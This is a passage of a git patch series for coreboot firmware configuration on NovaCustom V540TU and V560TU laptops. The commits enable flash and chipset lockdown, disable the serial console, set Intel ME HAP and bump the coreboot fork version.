+CONFIG_ACPI_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_ACPI_LPIT=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +CONFIG_FIXED_UART_FOR_CONSOLE=y + +# +# memory mapped, 8250-compatible +# +CONFIG_TTYS0_BASE=0x3f8 +# CONFIG_CONSOLE_SERIAL_921600 is not set +# CONFIG_CONSOLE_SERIAL_460800 is not set +# CONFIG_CONSOLE_SERIAL_230400 is not set +CONFIG_CONSOLE_SERIAL_115200=y +# CONFIG_CONSOLE_SERIAL_57600 is not set +# CONFIG_CONSOLE_SERIAL_38400 is not set +# CONFIG_CONSOLE_SERIAL_19200 is not set +# CONFIG_CONSOLE_SERIAL_9600 is not set +CONFIG_TTYS0_LCS=3 +# CONFIG_SPKMODEM is not set +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_CONSOLE_SYSTEM76_EC is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +# CONFIG_CMOS_POST is not set +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_ACPI_S1_NOT_SUPPORTED=y +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set +CONFIG_PAYLOAD_LINUX=y +CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# +# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set +# CONFIG_DISPLAY_FSP_HEADER is not set +# CONFIG_VERIFY_HOBS is not set +# CONFIG_DISPLAY_FSP_VERSION_INFO is not set +CONFIG_DISPLAY_FSP_VERSION_INFO_2=y +# CONFIG_ENABLE_FSP_ERROR_INFO is not set +CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y +# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set + +# +# General Debug Settings +# +# CONFIG_GDB_STUB is not set +# CONFIG_FATAL_ASSERTS is not set +CONFIG_HAVE_DEBUG_GPIO=y +# CONFIG_DEBUG_GPIO is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_SPD_READ_BY_WORD=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_GENERIC_GPIO_LIB=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y From 34ee256dd2f06578769bfb362828fddca0d9f6e9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Wed, 4 Dec 2024 18:11:54 +0100 Subject: [PATCH 365/619] modules/coreboot: bump dasharo fork for PRR lockdown MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć --- modules/coreboot | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/coreboot b/modules/coreboot index e37cd6db0..e70654582 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -94,7 +94,7 @@ $(eval $(call coreboot_module,purism,24.02.01)) # MSI and NovaCustom NV4xPZ, NS5xPU, V540TU, V560TU boards are based on Dasharo # coreboot fork, based on upstream coreboot version 24.02 coreboot-dasharo_repo := https://github.com/dasharo/coreboot -coreboot-dasharo_commit_hash := db1d9cd59d0d7d5b708bbdf8670780914061410c +coreboot-dasharo_commit_hash := 3fcffcec772e55978d9d59434abd06a6bd67a2c6 $(eval $(call coreboot_module,dasharo,24.02.01)) # Check that the board configured the coreboot version correctly From bb6c83de490da1285ea8c777bf35a4e01b3d607f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Wed, 4 Dec 2024 18:13:07 +0100 Subject: [PATCH 366/619] modules/coreboot: add commented out patch version MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć --- modules/coreboot | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/coreboot b/modules/coreboot index e70654582..e33015a47 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -96,6 +96,7 @@ $(eval $(call coreboot_module,purism,24.02.01)) coreboot-dasharo_repo := https://github.com/dasharo/coreboot coreboot-dasharo_commit_hash := 3fcffcec772e55978d9d59434abd06a6bd67a2c6 $(eval $(call coreboot_module,dasharo,24.02.01)) +#coreboot-dasharo_patch_version := unreleased # Check that the board configured the coreboot version correctly ifeq "$(CONFIG_COREBOOT_VERSION)" "" From 6174b63a121faf0e1a28c95f6880118f084ad7b3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Mon, 9 Dec 2024 16:21:45 +0100 Subject: [PATCH 367/619] novacustom-v540tu: enable PR0 lockdown in SMM MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć --- .../novacustom-v540tu.config | 4 ++++ config/coreboot-novacustom-v540tu.config | 19 ++++++++++++++++--- 2 files changed, 20 insertions(+), 3 deletions(-) diff --git a/boards/novacustom-v540tu/novacustom-v540tu.config b/boards/novacustom-v540tu/novacustom-v540tu.config index 042fa2ffd..bbd9f2592 100644 --- a/boards/novacustom-v540tu/novacustom-v540tu.config +++ b/boards/novacustom-v540tu/novacustom-v540tu.config @@ -69,3 +69,7 @@ export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="NovaCustom V540TU" export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 + +#platform locking finalization (PR0) +CONFIG_IO386=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y diff --git a/config/coreboot-novacustom-v540tu.config b/config/coreboot-novacustom-v540tu.config index d1a51a7a4..cf598b7b9 100644 --- a/config/coreboot-novacustom-v540tu.config +++ b/config/coreboot-novacustom-v540tu.config @@ -172,7 +172,6 @@ CONFIG_TPM_PIRQ=0x61 # CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set CONFIG_VBOOT_FWID_VERSION="$(CONFIG_LOCALVERSION)" CONFIG_EC_SYSTEM76_EC_BAT_THRESHOLDS=y -CONFIG_PXE_ROM_ID="10ec,8168" CONFIG_BOARD_CLEVO_MTLH_COMMON=y CONFIG_BOARD_CLEVO_V5X0TU_BASE=y CONFIG_EC_SYSTEM76_EC_FLASH_SIZE=0x40000 @@ -461,6 +460,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y CONFIG_SOC_INTEL_COMMON_PCH_BASE=y CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM=y CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y @@ -524,8 +524,10 @@ CONFIG_PCIEXP_HOTPLUG=y CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y # CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +# CONFIG_INTEL_CHIPSET_LOCKDOWN is not set CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 CONFIG_RCBA_LENGTH=0x4000 @@ -659,6 +661,7 @@ CONFIG_MRC_CACHE_USING_MRC_VERSION=y CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +CONFIG_SPI_FLASH_SMM=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_TPM_INIT_RAMSTAGE=y CONFIG_TPM_PPI=y @@ -776,9 +779,12 @@ CONFIG_PLATFORM_HAS_DRAM_CLEAR=y # CONFIG_INTEL_TXT is not set # CONFIG_STM is not set # CONFIG_INTEL_CBNT_SUPPORT is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_NONE is not set +CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y # CONFIG_BOOTMEDIA_LOCK_CHIP is not set +CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y +# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set +# CONFIG_BOOTMEDIA_LOCK_WPRO_VBOOT_RO is not set # CONFIG_BOOTMEDIA_SMM_BWP is not set # end of Security @@ -870,6 +876,13 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" + +# +# Dasharo specific payload options +# +# end of Dasharo specific payload options + +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # From 5b444119ca53119db86eed3f49b4f46e1da14927 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Mon, 9 Dec 2024 16:30:16 +0100 Subject: [PATCH 368/619] config/coreboot-novacustom-v540tu.config: disable serial console MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć --- config/coreboot-novacustom-v540tu.config | 18 ++---------------- 1 file changed, 2 insertions(+), 16 deletions(-) diff --git a/config/coreboot-novacustom-v540tu.config b/config/coreboot-novacustom-v540tu.config index cf598b7b9..24f71fd83 100644 --- a/config/coreboot-novacustom-v540tu.config +++ b/config/coreboot-novacustom-v540tu.config @@ -115,7 +115,7 @@ CONFIG_FMDFILE="" # CONFIG_NO_POST is not set CONFIG_MAINBOARD_VENDOR="Clevo" CONFIG_CBFS_SIZE=0x1000000 -CONFIG_CONSOLE_SERIAL=y +# CONFIG_CONSOLE_SERIAL is not set CONFIG_MAX_CPUS=22 CONFIG_ONBOARD_VGA_IS_PRIMARY=y # CONFIG_POST_DEVICE is not set @@ -201,7 +201,6 @@ CONFIG_PCIEXP_HOTPLUG_MEM=0xc200000 CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x1c000000 CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="PNP0F13" -CONFIG_TTYS0_BAUD=115200 CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y CONFIG_D3COLD_SUPPORT=y CONFIG_PCIEXP_ASPM=y @@ -808,23 +807,10 @@ CONFIG_BOOTBLOCK_CONSOLE=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y CONFIG_FIXED_UART_FOR_CONSOLE=y - -# -# memory mapped, 8250-compatible -# -CONFIG_TTYS0_BASE=0x3f8 -# CONFIG_CONSOLE_SERIAL_921600 is not set -# CONFIG_CONSOLE_SERIAL_460800 is not set -# CONFIG_CONSOLE_SERIAL_230400 is not set -CONFIG_CONSOLE_SERIAL_115200=y -# CONFIG_CONSOLE_SERIAL_57600 is not set -# CONFIG_CONSOLE_SERIAL_38400 is not set -# CONFIG_CONSOLE_SERIAL_19200 is not set -# CONFIG_CONSOLE_SERIAL_9600 is not set -CONFIG_TTYS0_LCS=3 # CONFIG_SPKMODEM is not set # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set # CONFIG_CONSOLE_SPI_FLASH is not set # CONFIG_CONSOLE_I2C_SMBUS is not set # CONFIG_CONSOLE_SYSTEM76_EC is not set From 1d7b442668ae39330ebf8fa13779331a66228177 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Tue, 10 Dec 2024 12:41:39 +0100 Subject: [PATCH 369/619] novacustom-v560tu: sync to v540tu MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć --- .../novacustom-v560tu.config | 4 ++ config/coreboot-novacustom-v560tu.config | 37 +++++++++---------- 2 files changed, 22 insertions(+), 19 deletions(-) diff --git a/boards/novacustom-v560tu/novacustom-v560tu.config b/boards/novacustom-v560tu/novacustom-v560tu.config index b3665105a..eb92388c9 100644 --- a/boards/novacustom-v560tu/novacustom-v560tu.config +++ b/boards/novacustom-v560tu/novacustom-v560tu.config @@ -69,3 +69,7 @@ export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="NovaCustom V540TU" export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 + +#platform locking finalization (PR0) +CONFIG_IO386=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y diff --git a/config/coreboot-novacustom-v560tu.config b/config/coreboot-novacustom-v560tu.config index a80dc4f46..a7c15d333 100644 --- a/config/coreboot-novacustom-v560tu.config +++ b/config/coreboot-novacustom-v560tu.config @@ -115,7 +115,7 @@ CONFIG_FMDFILE="" # CONFIG_NO_POST is not set CONFIG_MAINBOARD_VENDOR="Clevo" CONFIG_CBFS_SIZE=0x1000000 -CONFIG_CONSOLE_SERIAL=y +# CONFIG_CONSOLE_SERIAL is not set CONFIG_MAX_CPUS=22 CONFIG_ONBOARD_VGA_IS_PRIMARY=y # CONFIG_POST_DEVICE is not set @@ -172,7 +172,6 @@ CONFIG_TPM_PIRQ=0x61 # CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set CONFIG_VBOOT_FWID_VERSION="$(CONFIG_LOCALVERSION)" CONFIG_EC_SYSTEM76_EC_BAT_THRESHOLDS=y -CONFIG_PXE_ROM_ID="10ec,8168" CONFIG_BOARD_CLEVO_MTLH_COMMON=y CONFIG_BOARD_CLEVO_V5X0TU_BASE=y CONFIG_EC_SYSTEM76_EC_FLASH_SIZE=0x40000 @@ -202,7 +201,6 @@ CONFIG_PCIEXP_HOTPLUG_MEM=0xc200000 CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x1c000000 CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="PNP0F13" -CONFIG_TTYS0_BAUD=115200 CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y CONFIG_D3COLD_SUPPORT=y CONFIG_PCIEXP_ASPM=y @@ -461,6 +459,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y CONFIG_SOC_INTEL_COMMON_PCH_BASE=y CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM=y CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y @@ -524,8 +523,10 @@ CONFIG_PCIEXP_HOTPLUG=y CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y # CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +# CONFIG_INTEL_CHIPSET_LOCKDOWN is not set CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 CONFIG_RCBA_LENGTH=0x4000 @@ -659,6 +660,7 @@ CONFIG_MRC_CACHE_USING_MRC_VERSION=y CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +CONFIG_SPI_FLASH_SMM=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_TPM_INIT_RAMSTAGE=y CONFIG_TPM_PPI=y @@ -776,9 +778,12 @@ CONFIG_PLATFORM_HAS_DRAM_CLEAR=y # CONFIG_INTEL_TXT is not set # CONFIG_STM is not set # CONFIG_INTEL_CBNT_SUPPORT is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_NONE is not set +CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y # CONFIG_BOOTMEDIA_LOCK_CHIP is not set +CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y +# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set +# CONFIG_BOOTMEDIA_LOCK_WPRO_VBOOT_RO is not set # CONFIG_BOOTMEDIA_SMM_BWP is not set # end of Security @@ -802,23 +807,10 @@ CONFIG_BOOTBLOCK_CONSOLE=y CONFIG_POSTCAR_CONSOLE=y CONFIG_SQUELCH_EARLY_SMP=y CONFIG_FIXED_UART_FOR_CONSOLE=y - -# -# memory mapped, 8250-compatible -# -CONFIG_TTYS0_BASE=0x3f8 -# CONFIG_CONSOLE_SERIAL_921600 is not set -# CONFIG_CONSOLE_SERIAL_460800 is not set -# CONFIG_CONSOLE_SERIAL_230400 is not set -CONFIG_CONSOLE_SERIAL_115200=y -# CONFIG_CONSOLE_SERIAL_57600 is not set -# CONFIG_CONSOLE_SERIAL_38400 is not set -# CONFIG_CONSOLE_SERIAL_19200 is not set -# CONFIG_CONSOLE_SERIAL_9600 is not set -CONFIG_TTYS0_LCS=3 # CONFIG_SPKMODEM is not set # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set # CONFIG_CONSOLE_SPI_FLASH is not set # CONFIG_CONSOLE_I2C_SMBUS is not set # CONFIG_CONSOLE_SYSTEM76_EC is not set @@ -870,6 +862,13 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" + +# +# Dasharo specific payload options +# +# end of Dasharo specific payload options + +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # From ac43d5e78b37919f4cd07e947de637b69aa674d2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Tue, 10 Dec 2024 13:10:06 +0100 Subject: [PATCH 370/619] config/coreboot-novacustom-v5*: bump version to rc2 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć --- config/coreboot-novacustom-v540tu.config | 2 +- config/coreboot-novacustom-v560tu.config | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/config/coreboot-novacustom-v540tu.config b/config/coreboot-novacustom-v540tu.config index 24f71fd83..31d36b1a1 100644 --- a/config/coreboot-novacustom-v540tu.config +++ b/config/coreboot-novacustom-v540tu.config @@ -7,7 +7,7 @@ # General setup # CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="v0.9.0-rc1" +CONFIG_LOCALVERSION="v0.9.0-rc2" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set diff --git a/config/coreboot-novacustom-v560tu.config b/config/coreboot-novacustom-v560tu.config index a7c15d333..f47265778 100644 --- a/config/coreboot-novacustom-v560tu.config +++ b/config/coreboot-novacustom-v560tu.config @@ -7,7 +7,7 @@ # General setup # CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="v0.9.0-rc1" +CONFIG_LOCALVERSION="v0.9.0-rc2" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set From b5fe89903de2b5db0f127e1fbf280315171c7096 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Tue, 10 Dec 2024 18:22:00 +0100 Subject: [PATCH 371/619] config/coreboot-novacustom-v5*: set ME HAP, prefer S3 sleep MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć --- config/coreboot-novacustom-v540tu.config | 8 ++++---- config/coreboot-novacustom-v560tu.config | 8 ++++---- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/config/coreboot-novacustom-v540tu.config b/config/coreboot-novacustom-v540tu.config index 31d36b1a1..a4940ba37 100644 --- a/config/coreboot-novacustom-v540tu.config +++ b/config/coreboot-novacustom-v540tu.config @@ -550,9 +550,9 @@ CONFIG_HAVE_ME_BIN=y # CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set CONFIG_HAVE_INTEL_ME_HAP=y # CONFIG_INTEL_ME_DISABLED_HECI is not set -# CONFIG_INTEL_ME_DISABLED_HAP is not set -CONFIG_INTEL_ME_ENABLED=y -CONFIG_INTEL_ME_DEFAULT_STATE=0 +CONFIG_INTEL_ME_DISABLED_HAP=y +# CONFIG_INTEL_ME_ENABLED is not set +CONFIG_INTEL_ME_DEFAULT_STATE=2 CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y # CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set @@ -567,7 +567,7 @@ CONFIG_BIOS_VENDOR="3mdeb" # # Dasharo Configuration # -# CONFIG_DASHARO_PREFER_S3_SLEEP is not set +CONFIG_DASHARO_PREFER_S3_SLEEP=y CONFIG_DASHARO_FIRMWARE_UPDATE_MODE=y # end of Dasharo Configuration diff --git a/config/coreboot-novacustom-v560tu.config b/config/coreboot-novacustom-v560tu.config index f47265778..debec074f 100644 --- a/config/coreboot-novacustom-v560tu.config +++ b/config/coreboot-novacustom-v560tu.config @@ -550,9 +550,9 @@ CONFIG_HAVE_ME_BIN=y # CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set CONFIG_HAVE_INTEL_ME_HAP=y # CONFIG_INTEL_ME_DISABLED_HECI is not set -# CONFIG_INTEL_ME_DISABLED_HAP is not set -CONFIG_INTEL_ME_ENABLED=y -CONFIG_INTEL_ME_DEFAULT_STATE=0 +CONFIG_INTEL_ME_DISABLED_HAP=y +# CONFIG_INTEL_ME_ENABLED is not set +CONFIG_INTEL_ME_DEFAULT_STATE=2 CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y # CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set @@ -567,7 +567,7 @@ CONFIG_BIOS_VENDOR="3mdeb" # # Dasharo Configuration # -# CONFIG_DASHARO_PREFER_S3_SLEEP is not set +CONFIG_DASHARO_PREFER_S3_SLEEP=y CONFIG_DASHARO_FIRMWARE_UPDATE_MODE=y # end of Dasharo Configuration From 7323fef60432ddc2e41132b9905ffa0bce297265 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Tue, 10 Dec 2024 18:24:47 +0100 Subject: [PATCH 372/619] modules/coreboot: bump for MTL S3 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć --- modules/coreboot | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/coreboot b/modules/coreboot index e33015a47..4098ce8dc 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -94,7 +94,7 @@ $(eval $(call coreboot_module,purism,24.02.01)) # MSI and NovaCustom NV4xPZ, NS5xPU, V540TU, V560TU boards are based on Dasharo # coreboot fork, based on upstream coreboot version 24.02 coreboot-dasharo_repo := https://github.com/dasharo/coreboot -coreboot-dasharo_commit_hash := 3fcffcec772e55978d9d59434abd06a6bd67a2c6 +coreboot-dasharo_commit_hash := 9ead4a0789595fc6b6b0327e168088893b6ea592 $(eval $(call coreboot_module,dasharo,24.02.01)) #coreboot-dasharo_patch_version := unreleased From c516918fac6c821d3c520e53f6f452c49926e95b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Wed, 11 Dec 2024 18:31:11 +0100 Subject: [PATCH 373/619] patches/coreboot-dasharo-unreleased: add back JPEG patches MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć --- modules/coreboot | 2 +- ...wuffs-upgrade-to-Wuffs_0.4.0-alpha.8.patch | 111421 +++++++++++++++ ...ib_jpeg-avoidcalling-malloc-and-free.patch | 91 + ...002-pr0_chipset_locking-post_skylake.patch | 391 - ...N-CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT.patch | 130 + 5 files changed, 111643 insertions(+), 392 deletions(-) create mode 100644 patches/coreboot-dasharo-unreleased/0001-vc_wuffs-upgrade-to-Wuffs_0.4.0-alpha.8.patch create mode 100644 patches/coreboot-dasharo-unreleased/0002-lib_jpeg-avoidcalling-malloc-and-free.patch delete mode 100644 patches/coreboot-dasharo-unreleased/0002-pr0_chipset_locking-post_skylake.patch create mode 100644 patches/coreboot-dasharo-unreleased/0003-CONFIG_RESOURCE_ALLOCATION_TOP_DOWN-CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT.patch diff --git a/modules/coreboot b/modules/coreboot index 4098ce8dc..ff7815e2f 100644 --- a/modules/coreboot +++ 